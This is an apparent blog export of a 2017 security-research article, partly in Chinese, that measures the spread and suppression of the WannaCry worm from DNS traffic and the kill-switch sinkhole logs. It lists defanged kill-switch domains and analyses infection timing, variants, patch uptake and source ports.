Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。\n\n####参考文献\n[1] Windows服务器系统的服务概述和网络端口要求[OL].https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

57

post

2017-07-20T02:49:19.000Z

63873b9a8b1c1e0007f52efa

wannacry-from-dns-and-sinkhole-view-en

2017-11-21T02:34:01.000Z

public

draft

Wannacry: A DNS and Sinkhole View

<!--kg-card-begin: markdown--><p>Note: This article comes from Communications of China Computer Federation, No.7, 2017. The author is Li Fengpei from 360 Network Security Research Institute. This article's words and layout are slightly adjusted to fit in this technology blog. One of the motivations for this post is that this article provides a quantitative analysis of WannaCry's infection, which can be used as a benchmark by later other articles on this blog.</p> <p>As a sampling method, domain name system (DNS) stream data can be used effectively to measure and analyze the domain name on large scale. In the past few years, we have used DNS data to track and analyze multiple security incidents, for example the Mirai botnet, DGA malicious domains, and the underground economic chain. For the very recent outbreak of WannaCry worm, the analysis from DNS data view could be also meaningful.</p> <p>As we all know, WannaCry worm has a kill switch domain name, that is, www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. Details of domain name can be seen in many relevant reports. During the worm's infection, after the payload is successfully landed through the MS17-010 port 445 vulnerability, the worm will try to visit a web page on this specific domain name. If the web page is feed, the worm will exit and thus be suppressed, no further attack. But if the worm can not reach the web page, it will begin the file encryption and eventual go to ransom. The first part of this article will show our view from the DNS data, presenting infection and defense situation in domestic.</p> <p>On the other hand, this kill switch domain name is registered by researchers at Kryptos Logic Vantage (www.kryptoslogic.com) to their sinkhole without awareness of the importance. However, the web page on this sinkhole successfully suppressed the spread of the WannaCry worm, and the researchers self-joked that &quot;accidentally saved the world.&quot; Thanks to the trust of Kryptos Logic Vantage, we obtained part of the log data for the key domain name sinkhole. The second part of this article will analyze the WannaCry infection based on the statistics of the sinkhole log.</p> <h3 id="thedomesticinfectionanddefensesituationfromthednsview">The Domestic Infection and Defense Situation from the DNS View</h3> <p>First, it is necessary to introduce our &quot;visibility to see&quot;, to ensure our reader that our data can present Chinese region. Our and our partners' DNS data handle more than one million requests and responses in a single second, with customers ranging from different geographic areas, industries, carriers, and other dimentions.</p> <p>In this WannaCry event, we estimated that we could see about 10% of the relevant DNS traffic across the country. If we treat the entire Internet as a complex system, the DNS traffic can be treated a sampling of all traffic, and our DNSPAI a narrower sampling from all DNS traffic. Keep the huge scale in mind, even a 1% sampling could be very powerful. Through a carefully designed data pipeline and a fully utilize of big data analysis technology, we can own a comprehensive understanding of the Chinese mainland network security situation.</p> <h4 id="wannacryinfectiontrendsinchinamainland">WannaCry Infection Trends in China Mainland</h4> <h5 id="1earlyinfectionphase">1. Early Infection Phase</h5> <p>On Friday 15:20, May 12, 2017 Beijing time, we saw the very first visit to the domain in our DNS data. At this time the domain name resolution is failed, so as the target web page. So once the worm infected one machine, there follows an attack. The DNS access curve for this phase is shown in Figure 1.</p> <p><img src="__GHOST_URL__/content/images/2017/07/01-early-infection.png" alt="" loading="lazy"><br> Figure 1 DNS access curve in early infection phase</p> <p>This phase can be divided into the following smaller time spans.</p> <ul> <li>15: 00 ~ 17: 00, the infection number in three hours are 9,25 and 202, each hour to expand about an magnitude, this is the very early infection stage;</li> <li>17: 00 ~ 22: 00, the infection number per hour reach to a higher level, up to 2800 / hour, this is the first peak stage;</li> <li>22: 00 ~ 23: 00, the infection rate gradually decreased, this could be caused by more machines go offline at night, a natural night decline stage;</li> </ul> <p>仔细观察这段时间的感染情况，可以得出以下结论：</p> <ul> <li>我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。</li> <li>压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。</li> </ul> <h5 id="2">2. 域名压制阶段</h5> <p>开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。</p> <ul> <li>压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2）</li> <li>平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/07/02-kill-switch-domain-go-online.png" alt="" loading="lazy"><br> 图2 压制域名同步到全网阶段<br> <img src="__GHOST_URL__/content/images/2017/07/03-for-the-next-two-weeks-infection-are-under-control.png" alt="" loading="lazy"><br> 图3 平稳控制阶段</p> <p>在这个阶段，有以下情况值得一提。</p> <p>在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。</p> <p>尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。</p> <h4 id="wannacry">WannaCry不同变种感染情况对比</h4> <p>随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。</p> <p>我们至少捕获到以下WannaCry变种样本：</p> <ul> <li>hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com</li> <li>hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com</li> </ul> <p>对应域名的DNS访问曲线如图4所示。</p> <ul> <li>传播的主体，是iuqerf的原始版本；</li> <li>ifferf版本有少量传播，比原始版本小了一个数量级；</li> <li>其他版本只有零星访问或者干脆没有访问。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/07/04-comparation-between-different-variants.png" alt="" loading="lazy"><br> 图4 对应域名的DNS访问曲线</p> <p>变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。</p> <h4 id="wsus">微软WSUS补丁更新服务的访问情况</h4> <p>微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关：</p> <ul> <li>hxxp://windowsupdate.microsoft.com</li> <li>hxxp://download.windowsupdate.com</li> <li>hxxp://download.microsoft.com</li> <li>hxxp://test.stats.update.microsoft.com</li> <li>hxxp://ntservicepack.microsoft.com</li> </ul> <p>简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。<br> <img src="__GHOST_URL__/content/images/2017/07/05-dns-traffic-on-wsus.png" alt="" loading="lazy"><br> 图5 download.windowsupdate.com域名的DNS访问情况</p> <p>通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。</p> <p>从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。</p> <h3 id="sinkholewannacry">从sinkhole视角看WannaCry的感染情况</h3> <p>如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic Vantage授权我们展示部分统计信息。</p> <p>我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。</p> <h4 id="sinkholedns">Sinkhole与DNS数据对比分析</h4> <p>将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。</p> <p><img src="__GHOST_URL__/content/images/2017/07/06-comparation-between-sinkhole-and-dns.png" alt="" loading="lazy"><br> 图6 sinkhole数据与DNS数据对比分析</p> <p>按时间顺序解读图6，可以得知：</p> <ul> <li>域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次；</li> <li>上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展；</li> </ul> <p>以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。</p> <h4 id="windows">来源端口和Windows动态端口范围设定</h4> <p>除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。</p> <p><img src="__GHOST_URL__/content/images/2017/07/07-source-port-distribution-in-sinkhole-view.png" alt="" loading="lazy"><br> 图7 全端口分布<br> <img src="__GHOST_URL__/content/images/2017/07/08-distribution-burst-around-port-49150.png" alt="" loading="lazy"><br> 图8 端口49150附近数据缩放<br> <img src="__GHOST_URL__/content/images/2017/07/09-distribution-burst-around-port-1024.png" alt="" loading="lazy"><br> 图9 端口1024附近数据缩放</p> <p>我们查到，Windows操作系统对动态端口范围有如表1所示的设定。</p> <p>表1 Windows操作系统对动态端口范围的设定<br> <img src="__GHOST_URL__/content/images/2017/07/10-windows-dynamic-port-assign-policy.png" alt="" loading="lazy"></p> <p>基于以上事实，我们有如下推测。</p> <ul> <li>相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口；</li> <li>处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉；</li> <li>绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。</li> </ul> <h4 id="">致谢</h4> <p>我们特别致谢Kryptos Logic Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。</p> <h4 id="">参考文献</h4> <p>[1] Windows服务器系统的服务概述和网络端口要求[OL].<a href="https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows">https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows</a></p> <!--kg-card-end: markdown-->

Note: This article comes from Communications of China Computer Federation, No.7, 2017. The author is Li Fengpei from 360 Network Security Research Institute. This article's words and layout are slightly adjusted to fit in this technology blog. One of the motivations for this post is that this article provides a quantitative analysis of WannaCry's infection, which can be used as a benchmark by later other articles on this blog. As a sampling method, domain name system (DNS) stream data can be used effectively to measure and analyze the domain name on large scale. In the past few years, we have used DNS data to track and analyze multiple security incidents, for example the Mirai botnet, DGA malicious domains, and the underground economic chain. For the very recent outbreak of WannaCry worm, the analysis from DNS data view could be also meaningful. As we all know, WannaCry worm has a kill switch domain name, that is, www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. Details of domain name can be seen in many relevant reports. During the worm's infection, after the payload is successfully landed through the MS17-010 port 445 vulnerability, the worm will try to visit a web page on this specific domain name. If the web page is feed, the worm will exit and thus be suppressed, no further attack. But if the worm can not reach the web page, it will begin the file encryption and eventual go to ransom. The first part of this article will show our view from the DNS data, presenting infection and defense situation in domestic. On the other hand, this kill switch domain name is registered by researchers at Kryptos Logic Vantage (www.kryptoslogic.com) to their sinkhole without awareness of the importance. However, the web page on this sinkhole successfully suppressed the spread of the WannaCry worm, and the researchers self-joked that "accidentally saved the world." Thanks to the trust of Kryptos Logic Vantage, we obtained part of the log data for the key domain name sinkhole. The second part of this article will analyze the WannaCry infection based on the statistics of the sinkhole log. The Domestic Infection and Defense Situation from the DNS View First, it is necessary to introduce our "visibility to see", to ensure our reader that our data can present Chinese region. Our and our partners' DNS data handle more than one million requests and responses in a single second, with customers ranging from different geographic areas, industries, carriers, and other dimentions. In this WannaCry event, we estimated that we could see about 10% of the relevant DNS traffic across the country. If we treat the entire Internet as a complex system, the DNS traffic can be treated a sampling of all traffic, and our DNSPAI a narrower sampling from all DNS traffic. Keep the huge scale in mind, even a 1% sampling could be very powerful. Through a carefully designed data pipeline and a fully utilize of big data analysis technology, we can own a comprehensive understanding of the Chinese mainland network security situation. WannaCry Infection Trends in China Mainland 1. Early Infection Phase On Friday 15:20, May 12, 2017 Beijing time, we saw the very first visit to the domain in our DNS data. At this time the domain name resolution is failed, so as the target web page. So once the worm infected one machine, there follows an attack. The DNS access curve for this phase is shown in Figure 1. Figure 1 DNS access curve in early infection phase This phase can be divided into the following smaller time spans. * 15: 00 ~ 17: 00, the infection number in three hours are 9,25 and 202, each hour to expand about an magnitude, this is the very early infection stage; * 17: 00 ~ 22: 00, the infection number per hour reach to a higher level, up to 2800 / hour, this is the first peak stage; * 22: 00 ~ 23: 00, the infection rate gradually decreased, this could be caused by more machines go offline at night, a natural night decline stage; 仔细观察这段时间的感染情况，可以得出以下结论： * 我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。 * 压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。 2. 域名压制阶段 开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。 * 压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2） * 平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。 图2 压制域名同步到全网阶段 图3 平稳控制阶段 在这个阶段，有以下情况值得一提。 在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。 尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。 WannaCry不同变种感染情况对比 随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。 我们至少捕获到以下WannaCry变种样本： * hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com * hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com 对应域名的DNS访问曲线如图4所示。 * 传播的主体，是iuqerf的原始版本； * ifferf版本有少量传播，比原始版本小了一个数量级； * 其他版本只有零星访问或者干脆没有访问。 图4 对应域名的DNS访问曲线 变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。 微软WSUS补丁更新服务的访问情况 微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关： * hxxp://windowsupdate.microsoft.com * hxxp://download.windowsupdate.com * hxxp://download.microsoft.com * hxxp://test.stats.update.microsoft.com * hxxp://ntservicepack.microsoft.com 简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。 图5 download.windowsupdate.com域名的DNS访问情况 通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。 从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。 从sinkhole视角看WannaCry的感染情况 如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic Vantage授权我们展示部分统计信息。 我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。 Sinkhole与DNS数据对比分析 将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。 图6 sinkhole数据与DNS数据对比分析 按时间顺序解读图6，可以得知： * 域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次； * 上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展； 以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。 来源端口和Windows动态端口范围设定 除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。 图7 全端口分布 图8 端口49150附近数据缩放 图9 端口1024附近数据缩放 我们查到，Windows操作系统对动态端口范围有如表1所示的设定。 表1 Windows操作系统对动态端口范围的设定 基于以上事实，我们有如下推测。 * 相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口； * 处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉； * 绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。 致谢 我们特别致谢Kryptos Logic Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。 参考文献 [1] Windows服务器系统的服务概述和网络端口要求[OL].https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Note: This article comes from Communications of China Computer Federation, No.7, 2017. The author is Li Fengpei from 360 Network Security Research Institute. This article's words and layout are slightly adjusted to fit in this technology blog. One of the motivations for this post is that this article provides a quantitative analysis of WannaCry's infection, which can be used as a benchmark by later other articles on this blog.\n\n\nAs a sampling method, domain name system (DNS) stream data can be used effectively to measure and analyze the domain name on large scale. In the past few years, we have used DNS data to track and analyze multiple security incidents, for example the Mirai botnet, DGA malicious domains, and the underground economic chain. For the very recent outbreak of WannaCry worm, the analysis from DNS data view could be also meaningful.\n\nAs we all know, WannaCry worm has a kill switch domain name, that is, www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. Details of domain name can be seen in many relevant reports. During the worm's infection, after the payload is successfully landed through the MS17-010 port 445 vulnerability, the worm will try to visit a web page on this specific domain name. If the web page is feed, the worm will exit and thus be suppressed, no further attack. But if the worm can not reach the web page, it will begin the file encryption and eventual go to ransom. The first part of this article will show our view from the DNS data, presenting infection and defense situation in domestic.\n\nOn the other hand, this kill switch domain name is registered by researchers at Kryptos Logic Vantage (www.kryptoslogic.com) to their sinkhole without awareness of the importance. However, the web page on this sinkhole successfully suppressed the spread of the WannaCry worm, and the researchers self-joked that \"accidentally saved the world.\" Thanks to the trust of Kryptos Logic Vantage, we obtained part of the log data for the key domain name sinkhole. The second part of this article will analyze the WannaCry infection based on the statistics of the sinkhole log.\n\n###The Domestic Infection and Defense Situation from the DNS View\n\nFirst, it is necessary to introduce our \"visibility to see\", to ensure our reader that our data can present Chinese region. Our and our partners' DNS data handle more than one million requests and responses in a single second, with customers ranging from different geographic areas, industries, carriers, and other dimentions.\n\nIn this WannaCry event, we estimated that we could see about 10% of the relevant DNS traffic across the country. If we treat the entire Internet as a complex system, the DNS traffic can be treated a sampling of all traffic, and our DNSPAI a narrower sampling from all DNS traffic. Keep the huge scale in mind, even a 1% sampling could be very powerful. Through a carefully designed data pipeline and a fully utilize of big data analysis technology, we can own a comprehensive understanding of the Chinese mainland network security situation.\n\n\n####WannaCry Infection Trends in China Mainland\n#####1. Early Infection Phase\nOn Friday 15:20, May 12, 2017 Beijing time, we saw the very first visit to the domain in our DNS data. At this time the domain name resolution is failed, so as the target web page. So once the worm infected one machine, there follows an attack. The DNS access curve for this phase is shown in Figure 1.\n\n\nFigure 1 DNS access curve in early infection phase \n\nThis phase can be divided into the following smaller time spans.\n\n* 15: 00 ~ 17: 00, the infection number in three hours are 9,25 and 202, each hour to expand about an magnitude, this is the very early infection stage;\n* 17: 00 ~ 22: 00, the infection number per hour reach to a higher level, up to 2800 / hour, this is the first peak stage;\n* 22: 00 ~ 23: 00, the infection rate gradually decreased, this could be caused by more machines go offline at night, a natural night decline stage;\n\n仔细观察这段时间的感染情况，可以得出以下结论：\n\n * 我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。\n * 压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。\n\n#####2. 域名压制阶段\n开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。\n\n * 压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2）\n * 平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。\n\n\n图2 压制域名同步到全网阶段\n\n图3 平稳控制阶段\n\n在这个阶段，有以下情况值得一提。\n\n在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。\n\n尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。\n\n####WannaCry不同变种感染情况对比\n\n随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。\n\n我们至少捕获到以下WannaCry变种样本：\n\n * hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com\n * hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com\n\n对应域名的DNS访问曲线如图4所示。\n\n * 传播的主体，是iuqerf的原始版本；\n * ifferf版本有少量传播，比原始版本小了一个数量级；\n * 其他版本只有零星访问或者干脆没有访问。\n\n\n图4 对应域名的DNS访问曲线\n\n变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。\n\n####微软WSUS补丁更新服务的访问情况\n微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关：\n\n * hxxp://windowsupdate.microsoft.com\n * hxxp://download.windowsupdate.com\n * hxxp://download.microsoft.com\n * hxxp://test.stats.update.microsoft.com\n * hxxp://ntservicepack.microsoft.com\n\n简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。\n\n图5 download.windowsupdate.com域名的DNS访问情况\n\n通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。\n\n从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。\n\n###从sinkhole视角看WannaCry的感染情况\n如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic 